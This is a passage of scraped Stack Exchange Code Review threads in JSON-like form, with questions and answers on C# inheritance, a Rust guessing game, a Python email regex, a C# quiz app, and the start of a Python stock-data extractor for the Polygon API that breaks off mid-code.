"body": "<pre><code>Dog obj1 = new GoldenRetriever();\n\n obj1.Name = "Fluffy";\n obj1.IsVaccinated = true;\n Console.WriteLine(obj1.Name + obj1.IsVaccinated + obj1.Color);\n</code></pre>\n<p>Variable names: avoid name s like obj1 why not\n<code>Dog fluffy=new GoldenRetriever();</code>\nYou have derived GoldenRetriever and Beagle from Dog. Obviously this is an incomplete example and you may have wanted to add further methods according to breed. In this case however it is often best to modify the implmentation at the time you are introducing the extra methods.\nUnless there are different implementations best not to create new classes. So you could have had a member property Breed in the Dog class.</p>\n<p>The IDangerous interface looks like it should be called IDangerousDog\nIf you had a tiger in data tightening the leash is not a likely scenario except if tigers in the data can only be circus tigers. Even then I am not sure I would want to pull an angry tiger closer to me.</p>\n<p>When you construct your Dogs it may be better to use a constructor to instantiate the Name and colour properties. This allows you then to have read only members. This is debateable in your example as you could argue that the name of a dog may change if the owner changes. It is best to keep properties immutable where they should be considered so.</p>\n<p>If you stored the date of birth rather than the age then this could be immutable too.\nIt is much easier then to be confident that the age has been corrupted by a bug. Consider what would happen if a bug where to cause the Update age to be fired more than once or at the wrong time. It would be difficult to go back and identify what the correct age of a dog is. However if the Date of birth is stored you can always calculate the age and if there is a bug in the calculation you have not lost the value on which the age calculation is based.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T13:47:17.207",
"Id": "249592",
"ParentId": "249582",
"Score": "3"
}
},
{
"body": "<p>This would be long comment.</p>\n<p>These general exercises are meant for giving a clearer visual to the code design and syntax in simple terms. It would be hard to criticize, and you will get very different feedback perspectives, where some of them would conflict each other and confuses you. It would give you a small percentage improvements, but not the improvement that you desire.</p>\n<p>If you need to develop your coding skills and experience, you need to find a real-world examples that are already running and try to recreate them in your own terms with similar functionalities, then you can add your improvements, missing functionalities ..etc. to it.</p>\n<p>School, and Book Store are examples of a real-world examples or you can even try to mimic existing applications like the Calculator for example. There are many others examples out there, just pick whatever you think it's near your desired field of expertise that you need to improve.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T23:25:58.840",
"Id": "489406",
"Score": "0",
"body": "Makes sense. Thanks for your reply."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T22:53:08.830",
"Id": "249599",
"ParentId": "249582",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249592",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T00:45:13.490",
"Id": "249582",
"Score": "4",
"Tags": [
"c#",
"object-oriented",
"classes",
"inheritance",
"polymorphism"
],
"Title": "Animal, Dog, and IDangerous - Using interfaces and inheritance with C#"
}
|
249582
|
<p>This is how I implemented the guessing game - chapter 2 of the Rust book: <a href="https://doc.rust-lang.org/book/ch02-00-guessing-game-tutorial.html" rel="nofollow noreferrer">https://doc.rust-lang.org/book/ch02-00-guessing-game-tutorial.html</a></p>
<pre class="lang-rust prettyprint-override"><code>use std::io;
use std::io::Error;
use std::cmp::Ordering;
use std::num::ParseIntError;
use rand::Rng;
enum MyReadLineError {
FailReadLine(Error)
}
#[derive(Debug)]
enum MyReadU32Line {
FailReadLine(Error),
FailParse(ParseIntError)
}
fn my_read_line() -> Result<String, MyReadLineError> {
let mut input = String::new();
let result = io::stdin().read_line(&mut input);
match result {
Ok(_) => Ok(input),
Err(error ) => Err(MyReadLineError::FailReadLine(error)),
}
}
fn my_read_u32_line() -> Result<u32, MyReadU32Line> {
match my_read_line() {
Result::Ok(line) =>
match line.trim().parse::<u32>() {
Ok(value) => Ok(value),
Err(error) => Err(MyReadU32Line::FailParse(error)),
}
Result::Err(MyReadLineError::FailReadLine(error)) => Err(MyReadU32Line::FailReadLine(error)),
}
}
fn main() {
println!("Guess the number!");
let secret_number = rand::thread_rng().gen_range(1, 101);
loop {
println!("Please input your guess.");
let guess = my_read_u32_line();
match guess {
Ok (value) => match value.cmp(&secret_number) {
Ordering::Less => println!("Too small!"),
Ordering::Greater => println!("Too big!"),
Ordering::Equal => {
println!("You win!");
break;
},
}
Err (_) => println!("Sorry I couldn't read a u32 from your input! Please try again."),
}
}
}
</code></pre>
<p>This works as expected but I would like to flatten the matches so that doesn't look at verbose, is that possible. Also is there any other way to make that code look better, more readable?</p>
|
[] |
[
{
"body": "<p>Welcome to Rust!</p>\n<h1>Code Formatting</h1>\n<p>There are some inconsistencies in your formatting — I have run\n<code>cargo fmt</code> to get rid of them.</p>\n<h1>Naming</h1>\n<p>There's no need to prefix everything with <code>My</code> or <code>my_</code> — in\nRust, your names won't as easily clash with existing names as might be\nthe case in certain other languages.</p>\n<h1>Error handling</h1>\n<p>For applications, I suggest using the <a href=\"https://docs.rs/anyhow\" rel=\"noreferrer\"><code>anyhow</code></a> crate to manage\nerrors — it reduces much of the boilerplate. Just add</p>\n<pre><code>anyhow = "1.0"\n</code></pre>\n<p>to the <code>[dependencies]</code> section of your <code>Cargo.toml</code>.</p>\n<h1>Helper functions</h1>\n<p>The <code>my_read_line</code> function can be simplified with the <code>?</code> operator:</p>\n<pre><code>use anyhow::Result;\n\nfn read_line() -> Result<String> {\n let mut input = String::new();\n io::stdin().read_line(&mut input)?;\n Ok(input)\n}\n</code></pre>\n<p><code>my_read_u32_line</code> can be similarly simplified:</p>\n<pre><code>fn read_u32() -> Result<u32> {\n Ok(read_line()?.trim().parse()?)\n}\n</code></pre>\n<h1>Magic numbers</h1>\n<p>We can define constants for the range of the number:</p>\n<pre><code>const MIN: u32 = 1;\nconst MAX: u32 = 100;\n\n// later\nlet secret_number = rand::thread_rng().gen_range(MIN, MAX + 1);\n</code></pre>\n<h1>Organization</h1>\n<p>I might reorganize the <code>main</code> function to reduce indentation:</p>\n<pre><code>loop {\n println!("Please input your guess.");\n\n let guess = match read_u32() {\n Ok(guess) => guess,\n Err(_) => {\n println!(\n "Sorry I couldn't read a u32 from your input! \\\n Please try again."\n );\n continue;\n }\n };\n\n match guess.cmp(&secret_number) {\n Ordering::Less => println!("Too small!"),\n Ordering::Greater => println!("Too big!"),\n Ordering::Equal => {\n println!("You win!");\n break;\n }\n };\n}\n</code></pre>\n<h1>Final result</h1>\n<pre><code>use anyhow::Result;\nuse rand::Rng;\nuse std::cmp::Ordering;\nuse std::io;\n\nconst MIN: u32 = 1;\nconst MAX: u32 = 100;\n\nfn read_line() -> Result<String> {\n let mut input = String::new();\n io::stdin().read_line(&mut input)?;\n Ok(input)\n}\n\nfn read_u32() -> Result<u32> {\n Ok(read_line()?.trim().parse()?)\n}\n\nfn main() {\n println!("Guess the number!");\n\n let secret_number = rand::thread_rng().gen_range(MIN, MAX + 1);\n\n loop {\n println!("Please input your guess.");\n\n let guess = match read_u32() {\n Ok(guess) => guess,\n Err(_) => {\n println!(\n "Sorry I couldn't read a u32 from your input! \\\n Please try again."\n );\n continue;\n }\n };\n\n match guess.cmp(&secret_number) {\n Ordering::Less => println!("Too small!"),\n Ordering::Greater => println!("Too big!"),\n Ordering::Equal => {\n println!("You win!");\n break;\n }\n };\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:44:26.690",
"Id": "489836",
"Score": "0",
"body": "Thanks for your answer, this is really awesome!!! Real nice of you =]"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T14:04:53.530",
"Id": "249593",
"ParentId": "249588",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "249593",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T08:58:57.673",
"Id": "249588",
"Score": "4",
"Tags": [
"rust",
"pattern-matching",
"nested"
],
"Title": "Rust Beginner: flatten nested matches"
}
|
249588
|
<p>I have written this regex to validate an email. It seems to work fine. Can someone advise on the regex used? Does it work properly or can be done in a better way?</p>
<pre><code>pattern=r"^[A-Za-z]+[-_$.A-Za-z]*@[A-Za-z]*\.[A-Za-z]+$"
x=re.search(pattern,"abc.xyz@gmail.com)
print x
</code></pre>
<p>Note: I have used <code>x</code> and <code>print</code> as Code Review needs minimum 3 lines of code.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T04:04:58.523",
"Id": "489417",
"Score": "0",
"body": "Did you test it? Does it *appear* to work at least?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T04:37:24.853",
"Id": "489418",
"Score": "0",
"body": "Yes @Mast it seems to work for me"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T07:17:20.447",
"Id": "489421",
"Score": "0",
"body": "What is your goal: just learning, need to correctly validate common email addresses, or need to validate all legal email addresses? If the latter, that's a tougher problem: https://stackoverflow.com/questions/201323"
}
] |
[
{
"body": "<p>That regex will not properly validate the format of an email address. Many web sites get it wrong when validating email addresses.</p>\n<p>According to RFC5322, the local part of an address (the part before the <code>@</code>) can contain one or more text strings separated by <code>.</code>s. The test strings can include letters, numbers, and any of these characters: <code>! # $ % & ' * + - / = ? ^ _ { | } ~ "</code> or a back tick. Alternatively, the local part can be a quoted string. There can be comments in <code>()</code> and possibly whitespace in some places.</p>\n<p>That's just for the local part using only US-ASCII characters. There are other RFCs that describe the domain (after the @) and addresses with non-ASCII (e.g., Unicode) characters.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T08:41:03.720",
"Id": "249608",
"ParentId": "249601",
"Score": "4"
}
},
{
"body": "<p>When you don't care about casing, rather than repeating <code>A-Za-z</code> multiple times, it can be preferable to use the case-insensitive flag; this makes the pattern terser and more readable, as well as less error-prone.</p>\n<p>It would also be good to use informative variable names; the variable name <code>x</code> is not very useful. Maybe call it <code>match</code> instead.</p>\n<p>You can also consider putting spaces between operators (like <code>=</code>) and arguments (after a <code>,</code>), to make the code more readable.</p>\n<p>You can also consider using <a href=\"https://docs.python.org/3/library/re.html#re.match\" rel=\"nofollow noreferrer\"><code>re.match</code></a> instead of <code>re.search</code>; <code>re.match</code> will produce a match only if the pattern matches starting at the <em>beginning</em> of the input string. (In contrast, <code>re.search</code> will permit a match anywhere within the input string.) While this won't alter the meaning of your code since you're using <code>^</code>, it can make the code a bit more readable when a reader can see at a glance, <em>without even looking at the pattern</em>, "Oh, you're using <code>.match</code>, so the pattern is intended to match from the start of the string."</p>\n<pre><code>pattern = r"^[a-z]+[-_$.a-z]*@[a-z]*\\.[a-z]+$"\nmatch = re.match(pattern, "abc.xyz@gmail.com", re.IGNORECASE)\n</code></pre>\n<p>Another way, rather than <code>re.IGNORECASE</code>, is to put an inline modifier at the beginning of the pattern:</p>\n<pre><code>pattern = r"(?i)^[a-z]+[-_$.a-z]*@[a-z]*\\.[a-z]+$"\n</code></pre>\n<p>That's how I'd refactor your current code and its logic - but, as has been said, <em>true</em> email address validation is <a href=\"https://stackoverflow.com/q/201323\">much more complicated</a>.</p>\n<p>On a completely different note, I notice this is Python 2, which is end-of-life and <a href=\"https://www.python.org/doc/sunset-python-2/\" rel=\"nofollow noreferrer\">no longer supported</a> by bug fixes, security improvements, etc. Upgrading may not be possible in certain codebases, but consider changing to Python 3 if at you can.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T14:27:07.487",
"Id": "249626",
"ParentId": "249601",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T03:24:51.280",
"Id": "249601",
"Score": "1",
"Tags": [
"python",
"python-2.x",
"regex",
"validation",
"email"
],
"Title": "Python Regex to validate an email"
}
|
249601
|
<p>I posted a recent question on code review detailing my previous C# object-oriented application which used animals as the main context. Although this example doesn't really include inheritance or anything similar, I did try and create something a little bit more interactive. Maybe, just maybe this could be practical for a quiz application?</p>
<p>What could I improve? What other features could I add and maybe demonstrate inheritance with?</p>
<pre><code> public class Question
{
public int QuestionNumber { get; set; }
public string Description { get; set; }
public string Answer { get; set; }
}
public class Quiz
{
public void AddQuestion(Question q)
{
q.QuestionNumber = Questions.Count;
q.Description += " (" + (q.QuestionNumber + 1) + ")".ToString();
Questions.Add(q);
if (Questions.Count > QuizLength)
{
Console.WriteLine("You have too many questions, please change your QuestionLength.");
}
}
public void ReadQuestions(int customIndex = 0)
{
if(customIndex == QuizLength)
{
Console.WriteLine(Environment.NewLine + "Quiz has finished.");
for(int x = 0; x < Questions.Count; x++)
Console.WriteLine($"Question {x + 1} - {Questions[x].Description} | Answer - {Questions[x].Answer}");
Console.WriteLine($"You got a score of {Score}/{QuizLength}");
}
else
while(customIndex < Questions.Count)
{
Timer timer = new Timer(QuestionTimeLimit);
timer.Start();
timer.Elapsed += (sender, e) =>
{
Console.WriteLine("Time limit over...");
timer.Stop();
ReadQuestions(customIndex + 1);
};
Console.WriteLine(Questions[customIndex].Description);
string input = Console.ReadLine();
if(input.ToLower().Trim() == Questions[customIndex].Answer.ToLower().Trim())
{
Console.WriteLine("Correct answer");
timer.Stop();
customIndex++;
Score++;
}
else
{
Console.WriteLine("Incorrect answer");
break;
}
}
}
public List<Question> Questions = new List<Question>();
public int Score { get; set; }
public int QuizLength { get; set; }
public bool HasTimeLimit { get; set; }
private int _QuestionTimeLimit;
public int QuestionTimeLimit
{
get
{
return _QuestionTimeLimit;
}
set
{
if (HasTimeLimit == true)
_QuestionTimeLimit = value;
else
Console.WriteLine("You haven't assigned a time limit value.");
}
}
static class Program
{
static void Main(string[] args)
{
Quiz q = new Quiz()
{
HasTimeLimit = true, QuizLength = 4, QuestionTimeLimit = 30000,
};
q.AddQuestion(new Question() { Description = "What is the capital of Canada?", Answer = "Ottawa", });
q.AddQuestion(new Question() { Description = "What is the capital of Australia?", Answer = "Canberra", });
q.AddQuestion(new Question() { Description = "What is the capital of New Zealand?", Answer = "Wellington", });
q.AddQuestion(new Question() { Description = "What is the capital of Mexico?", Answer = "Mexico City", });
q.ReadQuestions();
Console.ReadLine();
}
}
</code></pre>
<p>I've had fears that maybe this code is a bit messy, but that might just be me. If so, (or if you think so) how could I make it cleaner?</p>
<p>Could I improve this question? Am I missing anything? Tell me in the comments if you think so.</p>
<p>Thanks,</p>
|
[] |
[
{
"body": "<ol>\n<li>Readability / Style</li>\n</ol>\n<p>You could start with making the code more readable, by running it through a formatter such as this one <a href=\"https://codebeautify.org/csharpviewer\" rel=\"nofollow noreferrer\">https://codebeautify.org/csharpviewer</a> , and read up on code style and standards for C#.</p>\n<ol start=\"2\">\n<li>Repetition</li>\n</ol>\n<p>Also, instead of repeating <code>q.AddQuestion(new Question() { Description =</code> over and over, you could put your questions and answers in a <strong>map</strong> and then iterate over the map to add questions. This makes it more flexible when you want to add many questions, or possibly read from user input / file input, etc.</p>\n<p><a href=\"https://stackoverflow.com/questions/1598070/c-sharp-equivalent-of-c-mapstring-double\">https://stackoverflow.com/questions/1598070/c-sharp-equivalent-of-c-mapstring-double</a></p>\n<ol start=\"3\">\n<li>Inheritance</li>\n</ol>\n<p>Also, why do you want to "demonstrate inheritance" ? For its own sake? Or is this an assignment that requires you to demonstrate inheritance?</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:36:08.497",
"Id": "249636",
"ParentId": "249602",
"Score": "1"
}
},
{
"body": "<p>There's a lot of juggling going on here, and I'm not convinced all of it is needed.</p>\n<p><strong>Stringing a string</strong></p>\n<pre><code>q.Description += " (" + (q.QuestionNumber + 1) + ")".ToString();\n</code></pre>\n<p>The <code>ToString()</code> is wholly irrelevant here. <code>")"</code> is already a string, there's no point to convert it to a string again.</p>\n<p>As a matter of preference, I would advocate using string interpolation here:</p>\n<pre><code>$"({q.QuestionNumber + 1})"\n</code></pre>\n<p>It's generally cleaner than string concatenation.</p>\n<p><strong>Business logic vs UI logic</strong></p>\n<pre><code>q.QuestionNumber = Questions.Count;\nq.Description += " (" + (q.QuestionNumber + 1) + ")".ToString();\n</code></pre>\n<p>The question <code>q</code> already contains the <code>QuestionNumber</code>, so you don't gain anything from also appending it to the question description.</p>\n<p>Appending that question number can be done in the UI logic, and it shouldn't be foisted into your actual data entity. You're muddying the lines between your business logic and your view/UI logic.</p>\n<p>So I would skip the entire <code>q.Description += ...</code> line, and move that to the actual UI if it is needed:</p>\n<pre><code>var q = Questions[customIndex];\nConsole.WriteLine($"q.Description ({q.QuestionNumber + 1})");\n</code></pre>\n<p><strong>Numbering</strong></p>\n<p>You have multiple ways of numbering your questions and you jump from one to the other. There is no consistency in your approach.</p>\n<p>Your questions track a <code>QuestionNumber</code> property, but when you want to print the question number, you instead rely on an index counter:</p>\n<pre><code>for(int x = 0; x < Questions.Count; x++)\n Console.WriteLine($"Question {x + 1} - ...");\n</code></pre>\n<p>The purpose of <code>QuestionNumber</code> is being undone completely by never meaningfully using it. Either don't track it to begin with, or actually use it.</p>\n<p>In this case, I would advocate for not tracking it. A question's number is based on its position in the list of questions, so it makes more sense to derive the question number based on its position in the list, instead of individually tracking it.</p>\n<p><strong>Pointless hurdles, duplicate data & creating your own problems</strong></p>\n<pre><code>Questions.Add(q);\n\nif (Questions.Count > QuizLength)\n{\n Console.WriteLine("You have too many questions, please change your QuestionLength.");\n}\n</code></pre>\n<p><code>QuizLength</code> seems to be used for two things:</p>\n<ol>\n<li>"Preventing" the addition of more questions</li>\n</ol>\n<p>What is the purpose of <code>QuizLength</code>, if not to enforce the maximum amount of questions that you can add?</p>\n<p>Yet you put no restriction on the actual questions that get added. You just print a message to the console but then add the question anyway. That's a lot of bark with no bite.</p>\n<p>If you wish to cap the question limit, then <strong>don't add excess questions to the list</strong>:</p>\n<pre><code>if (Questions.Count < QuizLength)\n{\n Questions.Add(q);\n}\nelse\n{\n Console.WriteLine("Question limit reached!");\n}\n</code></pre>\n<ol start=\"2\">\n<li>Knowing how many questions to cycle over</li>\n</ol>\n<p>You don't need to store that in a separate variable. <code>Questions.Count</code> already tells you how many questions there are.</p>\n<p>Over all, keeping separate track of the quiz length makes no sense here. It creates a pointless arbitrary validation check that you have to comply with, and in all other cases it causes problems that would not exist if the validation check didn't exist to begin with.</p>\n<ul>\n<li>If you end up with less questions than the defined quiz length, your code is going to blow up. Had you relied on <code>Questions.Count</code> instead of a separately tracked <code>QuizLength</code>, that would not have happened.</li>\n<li>If you end up with <em>more</em> questions than the defined quiz length, then why block the creator from adding the extra questions, since they were allowed to decide their own quiz length anyway?</li>\n<li>If you end up with more questions and don't block the addition of more questions, then your code is going to ignore asking the extra questions as <code>QuizLength</code> will cause it to stop before all questions have been asked.</li>\n</ul>\n<p>If you simply <em>remove</em> <code>QuizLength</code>, let the quiz creator add however many questions they want without trying to impose a limit, and then use <code>Questions.Count</code> as a way to track your quiz length, then <strong>all these problems wouldn't exist</strong>.</p>\n<p>Be very wary of adding features that cause problems instead of solving them. <code>QuizLength</code> is one of those.</p>\n<p><strong>More arbitrary hurdles!</strong></p>\n<p><code>HasTimeLimit</code> is another one of those arbitrary and pointless hurdles to cross.</p>\n<pre><code>public int QuestionTimeLimit\n{\n // ...\n set\n {\n if (HasTimeLimit == true)\n _QuestionTimeLimit = value;\n else\n Console.WriteLine("You haven't assigned a time limit value.");\n }\n}\n</code></pre>\n<p>I don't understand your reasoning here. You're being given a time limit (since the consumer is setting the time limit value), and your code is obtusely responding with "but I haven't been told that a time limit was going to be set!".</p>\n<p>The fact that someone is currently <strong>setting</strong> the time limit shouldn't be blocked by some arbitrary expectation that this person did not pre-emptively announce that they were going to set the time limit.</p>\n<p>Your logic is the equivalent of the following conversations:</p>\n<blockquote>\n<p>Customer: "Hi, I would like to buy one of your Foobars please."<br />\nShopkeeper: "I wasn't told whether you'd like to buy a Foobar, so I won't sell you one".</p>\n</blockquote>\n<p>The logical response is <em>"but I'm telling you right now that I want to buy one!"</em>. The current conversation inherently contradicts the shopkeeper's assumption.</p>\n<p>Similarly, the response to your <em>"You haven't assigned a time limit value"</em> message is that <strong>I am telling you right now that I do want to set a time limit</strong>. The current context (setting the time limit) inherently contradicts your code's reasoning that the time limit wasn't going to be set.</p>\n<p>You're just creating extra hurdles, which is just going to trip you up more, for no benefit at all.</p>\n<p>Don't get me wrong, it happens to every developer that they build something, change it, and then it turns out that the thing they though they needed has now unexpectedly become unnecessary. On top of that, I surmise that you're a beginner who is still experimenting with their code before settling on an end result.</p>\n<p>Both of those are perfectly reasonable explanations as to how this code came to be, and neither of them make you a bad developer.</p>\n<p>But you really need to re-evaluate your logic and spot those issues, because if you don't clean up after yourself, you're just making your own life harder for no reason at all.</p>\n<p>Learn to sanity-check yourself. Look at your finished work, and evaluate if all of its parts are actually adding value to the end product. Had you done so, <code>HasTimeLimit</code> should've popped up as a part that doesn't add value.</p>\n<p><strong>Double-stacking your methods</strong></p>\n<pre><code>public void ReadQuestions(int customIndex = 0)\n{\n if(customIndex == QuizLength) \n {\n // print results\n }\n else\n // ask ALL the questions\n }\n}\n</code></pre>\n<p>The method has two completely distinct purposes. These two purposes should be separated into two distinct methods, e.g. <code>AskQuestions</code> and <code>PrintResults</code></p>\n<p><strong>Recursion or iteration?</strong></p>\n<pre><code>public void ReadQuestions(int customIndex = 0)\n{\n // ...\n while(customIndex < Questions.Count)\n {\n // ...\n ReadQuestions(customIndex + 1);\n // ...\n }\n}\n</code></pre>\n<p>For the life of me, I cannot comprehend the flow you're intending to take here. You're iterating over a collection (since you're using a <code>while</code> iterator), but at the same time you're also recursively calling <code>ReadQuestions</code>, and each recursive step itself uses a <code>while</code> iterator!</p>\n<p>That makes no sense. You either iterate <em>or</em> you recurse. Not both.</p>\n<p>It seems you're using the <code>while</code> as a simple way to break your recursion. There's no need for that to iterate, you can just use an <code>if</code> here. That is, if you are to use recursion.</p>\n<p>However, you shouldn't be using recursion here. This isn't an n-depth problem where the result of one step is the input of the next step.</p>\n<p>This is a simple iteration over a list of questions, and it would be tremendously more readable if you simplify the algorithm to just that.</p>\n<pre><code>public void Run()\n{\n int totalScore = 0;\n\n foreach(var question in Questions)\n {\n var questionScore = Ask(question);\n totalScore += questionScore;\n }\n\n PrintResults(totalScore);\n}\n</code></pre>\n<p>Before we delve into the <code>Ask</code> and <code>PrintResults</code> methods, look at how simple and straightforward the structure of this algorithm is. Ask each question, then print the end result.</p>\n<p>Compare this to your code, where you have a recursive method with an interation in each step, and custom written end clause where a completely different task (printing the results) is being run within the same recursive stack.</p>\n<pre><code>private int Ask(Question q)\n{\n Timer timer = new Timer(QuestionTimeLimit);\n timer.Elapsed += (sender, e) =>\n {\n Console.WriteLine("Time limit over...");\n return 0;\n };\n\n Console.WriteLine(question.Description);\n timer.Start();\n \n string input = Console.ReadLine();\n timer.Stop();\n \n if(input.ToLower().Trim() == Questions[customIndex].Answer.ToLower().Trim())\n {\n Console.WriteLine("Correct answer");\n return 1;\n }\n else\n {\n Console.WriteLine("Incorrect answer");\n return 0;\n }\n}\n\nprivate void PrintResults(int totalScore)\n{\n Console.WriteLine("Quiz has finished."); \n\n foreach(var question in Questions)\n {\n Console.WriteLine($"Question {question.QuestionNumber + 1} - {question.Description} | Answer - {question.Answer}");\n }\n\n Console.WriteLine($"You got a score of {totalScore}/{Questions.Count}");\n}\n</code></pre>\n<hr />\n<p>Further improvements can be made here, such as not using <code>Console.Writeline</code> inside your business logic class, but I'm going to consider those improvements off-topic for the current skill level of the exercise at hand.</p>\n<hr />\n<blockquote>\n<p>What other features could I add and maybe demonstrate inheritance with?</p>\n</blockquote>\n<p>You don't buy bread because you have a bread knife in the kitchen. You buy a bread knife because you have bread.</p>\n<p>Similarly, you don't write code with the sole purpose of having it use inheritance. You use inheritance when you are writing code that warrants the use of inheritance (to improve the code).</p>\n<p>This code example has no use for inheritance whatsoever. There are no variant objects here. You have a quiz, and you have questions. Those are two completely different objects that have no feasible inheritance relationship.</p>\n<p>That being said, additional features that would warrant inheritance would include:</p>\n<ul>\n<li>Different kinds of questions (multiple choice, true/false, open ended, ...)</li>\n<li>Different kinds of quizzes (ask all questions, pull random questions from a larger question repository)</li>\n<li>Different kinds of score calculations (flat rate per question, bonus points for correct answer streaks, penalties for incorrect answer streaks, ...)</li>\n<li>Different kinds of users (quiz takers, quiz creators, admins)</li>\n</ul>\n<p>In general, inheritance is used in cases where there are multiple variations on the same idea. Everything that is shared between the variations should be inherited from their common ancestor, and everything that is unique to a specific variation should belong to that variation alone.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T11:25:44.333",
"Id": "249676",
"ParentId": "249602",
"Score": "4"
}
},
{
"body": "<p>I do not want to re-iterate the points of the other answers, but just give you an idea on how you could introduce inheritance.</p>\n<p>You could introduce different types of questions, like:</p>\n<ul>\n<li>yes/no questions</li>\n<li>multiple choice questions</li>\n<li>plain text questions (like: what is the name of the highest mountain in ...?).</li>\n<li>number questions (like: what is the height of the mount Everest? where you must check that the result is within a certain range).</li>\n</ul>\n<p>These questions require different ways to be asked (e.g. a multiple choice question will have to print a list of numbered choices) and their answers to be evaluated (e.g. a yes/no question could test for the answers "Y", "y", "yes", "yeah" etc.).</p>\n<p>It is then obvious to formulate the questions and answers as objects in a class hierarchy as a demonstration of polymorphism.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:06:15.933",
"Id": "249677",
"ParentId": "249602",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249676",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T04:36:31.413",
"Id": "249602",
"Score": "5",
"Tags": [
"c#",
"object-oriented",
"classes"
],
"Title": "Implementing a quiz application in C# (object-oriented)"
}
|
249602
|
<p>I'm currently working on an AI-driven trading system, the code below aims to extract ticker data from <a href="https://polygon.io" rel="nofollow noreferrer">polygon</a> REST API, this is a paid service so, in order to test the code you will need to subscribe / obtain a free API key with limited data history. You'll find <code>base_extractor.py</code>, <code>polygon_extractor.py</code> and <code>extract.py</code> which I will explain briefly above each.</p>
<p>My main concerns:</p>
<ul>
<li>I'm concerned with the intraday data (1min or less) for technical reasons, those who are experienced with trading will understand its significance. Anyway the API limits the number of records(minute price data point in this case) to 5000 minutes max per <code>GET</code> request, therefore you'll come across a parameter called <code>days_per_request</code> which main purpose is to control the rate of records returned per request. Of course this negatively impacts the time requirements so any suggestions to improve this bottleneck, will greatly impact the efficiency of the extractor.</li>
<li>Modularization issues that I overcome with <code>sys.path.append('..')</code> which I need to get rid of without PyCharm complaining about unresolved references that resolve somehow by runtime. You will understand further if you read through the code.</li>
<li>General suggestions and feedback about the whole code as well as performance / speed improvements / general structure are more than welcome.</li>
<li>Is using <code>concurrent.futures</code> for sending concurrent http requests the best option? or do you have other suggestions that are faster?</li>
</ul>
<p><code>base_extractor.py</code>: the base class that contains methods that are common to this extraction process regardless of the API and can be used with polygon and for other REST APIs that provide the same service(most of them have the same design). It contains useful features including memoryless writing of data to <code>.parquet</code> format and storing to GCP cloud storage(optional).</p>
<pre><code>from oauth2client.service_account import ServiceAccountCredentials
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from logging import handlers
import pyarrow.parquet as pq
from gcloud import storage
import pyarrow as pa
import pandas as pd
import requests
import logging
import shutil
import json
import os
class BaseExtractor:
"""
A tool for downloading stock data from these websites:
- https://www.tiingo.com
- https://www.polygon.io
"""
def __init__(
self,
api_key,
base_url,
compression='gzip',
log_file=None,
workers=4,
single_file=False,
gcp_bucket=None,
gcp_key=None,
request_headers=None,
):
"""
Initialize extractor
Args:
api_key: Key provided by the target website.
base_url: API base url.
compression:
parquet compression types:
- 'brotli'
- 'snappy'
- 'gzip'
log_file: Path to log file.
workers: Concurrent connections.
single_file: Single file per extraction.
gcp_bucket: Google bucket name.
gcp_key: Google bucket authentication json key file.
request_headers: HTTP headers that will be used with requests.
"""
self.api_key = api_key
self.base_url = base_url
self.compression = compression
self.log_file_name = log_file
self.logger = self.get_logger()
self.workers = workers
self.single_file = single_file
self.gcp_bucket = gcp_bucket
self.gcp_key = gcp_key
self.request_headers = request_headers
def write_results(self, response, fp, json_key=None):
"""
Write extractions to a supported format [.parquet]
Args:
response: API response.
fp: Path to output file.
json_key: Key in response.json()
Returns:
None
"""
if results := (response.json().get(json_key) if json_key else response.json()):
frame = pd.DataFrame(results)
frame[frame.T.dtypes == int] = frame[frame.T.dtypes == int].astype(float)
if fp.endswith('.parquet'):
table = pa.Table.from_pandas(frame)
pq.write_to_dataset(table, root_path=fp, compression=self.compression)
def get_logger(self):
"""
Create logger.
Returns:
logger object.
"""
formatter = logging.Formatter(
'%(asctime)s %(name)s: ' '%(levelname)-2s %(message)s'
)
logger = logging.getLogger('API Extractor')
logger.setLevel(logging.DEBUG)
if self.log_file_name:
file_handler = handlers.RotatingFileHandler(
self.log_file_name, backupCount=10
)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
console_handler = logging.StreamHandler()
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
return logger
def extract_data(self, method, urls, *args, **kwargs):
"""
Extract urls from a supported API.
Args:
method: One of BaseExtractor extraction methods.
urls: A list of full urls that will be extracted by the given method.
*args: method args.
**kwargs: method kwargs.
Returns:
None
"""
with ThreadPoolExecutor(max_workers=self.workers) as executor:
future_requests = {
executor.submit(method, url, *args, **kwargs): url for url in urls
}
for future_response in as_completed(future_requests):
try:
future_response.result()
except Exception as e:
